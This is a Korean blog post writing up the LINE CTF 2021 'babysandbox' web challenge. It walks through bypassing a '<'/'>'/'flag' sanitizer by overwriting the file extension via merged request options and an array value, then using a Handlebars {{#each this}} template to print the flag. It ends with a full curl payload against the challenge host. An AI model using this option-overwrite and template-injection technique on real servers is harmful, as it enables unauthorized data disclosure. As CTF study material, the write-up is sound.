<보안 study>/CTFs

[LineCTF2021] babysandbox

gosoeungduk 2022. 3. 8. 00:16
반응형

[LINE CTF 2021] babysandbox


메인 화면이다. filename 과 content 를 입력하면 filename.ejs 형태의 파일로 app/views/sandbox 디렉토리에 올라가게 되고 입력한 content 를 ejs 포맷에 맞게 출력 가능하다.

app.get("/:sandboxPath/:filename", authMiddleware, (req, res) => {
  try {
    res.render(`sandbox/${req.params.sandboxPath}/${req.params.filename}`, {
      flag,
    });
   ...

핵심부분부터 말하면, 파일을 만들어서 접근을 했을 때 페이지에 인자로 전달된 flag 변수를 읽기만 하면된다.

하지만, 몇 가지 제약조건이 설정되어있어서 이 조건들을 타파해야한다.

let body = saveOptions.contents;
    if (utils.sanitize(body)) { // 세척장

이 부분인데 utils.jssanitize 함수에서 필터링을 진행한다.

const sanitize = (body)=>{
    reuslt = true
    tmp = body.toLowerCase()
    if(tmp.includes('<') || tmp.includes('>')) return false
    if(tmp.includes('flag')) return false

    return true
}

.ejs 파일에 < , > , flag 라는 문자들을 넣지말라는 소리다. 하지만, ejs 에서 인자를 받아오고 사용할 때 <> 없이는 도저히 안될 것 같아보였다.

그래서 사전에 본 package.json 파일에서 사용할 만한 패키지가 있을까 찾아보았다.

"hbs": "^4.1.1"

Handlebars 라는 템플릿 엔진이 있었다. ejs 와 쌍벽을 이룬다고 하는데 일단은 hbs 코드는 {{}} 과 같은 템플릿 문법으로 코드를 구성할 수 있다고 한다. 우선은 < > 를 우회할 수 있어보였다.

하지만, 또 걸린 것이 분명 파일은 .ejs 형식으로 올라가는데 어떻게 .hbs 파일을 돌릴 수 있느냐는 것이다.

const options = {
  ext: ".ejs",
  filename: "noname",
};
// ~~~~~ ( 생략 ) ~~~~~~
  merge(saveOptions, options);
  merge(saveOptions, req.body); // overwrite 된다!

saveOption 오브젝트에 따라서 업로드하는 코드가 좌지우지 되는데 이 때, 기본으로 설정되는 ext 값을 request 의 body 에 넣어서 보내면 먼저 들어가있는 saveOptions.ext 가 내가 원하는 값으로 덮어씌워지는 것을 알 수 있었다.

이처럼 말이다.

  if (!saveOptions.ext.includes(".ejs") || saveOptions.ext.length !== 4)
    isChecked = false; // 배열로써 우회

바로 아래에 있던 이 제약조건은 ['.ejs','dummy','dummy','.hbs'] 처럼 배열을 ext 값에 주면 문제 없다. 물론 만약 이렇게 ext 값을 주면 최종적으로 서버에 올라가는 파일은 (filename).ejs,dummy,dummy,.hbs 의 형식이 된다는 것도 유념하자.

이제 진짜 마지막 단계이다. 아까 본 sanitize 함수에서 flag 변수를 어떻게 코드에 flag 네 글자를 넣지않고 읽을 수 있을까를 고민해야한다. 이거는 hbs 문법을 처음 접해봐서 docs 에 있는 것들을 아무거나 넣어보면서 docker 에서 돌려보았다.

그 중에 {{#each}} 라는 문법으로 전달받은 인자, 객체에 대해서 iterate 시켜주는 반복? 구문이 있었다. 그냥 무지성으로 this 객체에 돌렸더니 나왔다...

{{#each this}}
{{this.toString}}
{{/each}}

<최종 페이로드>

curl "http://host1.dreamhack.games:10614/507678d980a6647d32c4ea635137404f7206ffdead54de3f16647028937f1dca" -H "Content-Type: application/json" -d '{"filename":"aa","contents":"{{#each this}}{{this.toString}}{{/each}}","ext":[".ejs","a","a",".hbs"]}'

반응형

'<보안 study> > CTFs' 카테고리의 다른 글

[TamilCTF2021] HeyImAB  (0) 2021.10.07
[TamilCTF2021] Guesser  (0) 2021.10.07
[TamilCTF2021] digital_play  (0) 2021.10.07
[TamilCTF2021] Fool Me  (0) 2021.10.07
[Hack.lu 2019] no_risc_no_future  (0) 2019.12.21